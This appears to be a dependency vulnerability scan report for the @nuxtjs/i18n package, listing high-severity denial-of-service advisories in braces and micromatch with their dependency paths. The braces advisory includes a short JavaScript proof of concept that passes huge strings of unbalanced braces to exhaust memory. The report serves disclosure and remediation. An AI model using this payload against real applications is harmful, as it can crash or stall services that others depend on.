Find, fix and prevent vulnerabilities in your code.
high severity
new
- Vulnerable module: braces
- Introduced through: unplugin@1.10.1, @intlify/unplugin-vue-i18n@3.0.1 and others
Detailed paths
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › unplugin@1.10.1 › chokidar@3.6.0 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @intlify/unplugin-vue-i18n@3.0.1 › fast-glob@3.3.2 › micromatch@4.0.5 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @intlify/unplugin-vue-i18n@3.0.1 › unplugin@1.10.1 › chokidar@3.6.0 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › c12@1.10.0 › chokidar@3.6.0 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › unimport@3.7.1 › fast-glob@3.3.2 › micromatch@4.0.5 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › globby@14.0.1 › fast-glob@3.3.2 › micromatch@4.0.5 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › unimport@3.7.1 › unplugin@1.10.1 › chokidar@3.6.0 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › unctx@2.3.1 › unplugin@1.10.1 › chokidar@3.6.0 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › @nuxt/schema@3.11.2 › unimport@3.7.1 › fast-glob@3.3.2 › micromatch@4.0.5 › braces@3.0.2
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › @nuxt/schema@3.11.2 › unimport@3.7.1 › unplugin@1.10.1 › chokidar@3.6.0 › braces@3.0.2
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse
function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
A fix was pushed into the master
branch but not yet published.
References
high severity
new
- Vulnerable module: micromatch
- Introduced through: @intlify/unplugin-vue-i18n@3.0.1 and @nuxt/kit@3.11.2
Detailed paths
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @intlify/unplugin-vue-i18n@3.0.1 › fast-glob@3.3.2 › micromatch@4.0.5
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › unimport@3.7.1 › fast-glob@3.3.2 › micromatch@4.0.5
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › globby@14.0.1 › fast-glob@3.3.2 › micromatch@4.0.5
-
Introduced through: @nuxtjs/i18n@nuxt-community/nuxt-i18n#b3114556a92f5f7622b37d7b57e681e1f7e3660d › @nuxt/kit@3.11.2 › @nuxt/schema@3.11.2 › unimport@3.7.1 › fast-glob@3.3.2 › micromatch@4.0.5
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces()
function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
A fix was pushed into the master
branch but not yet published.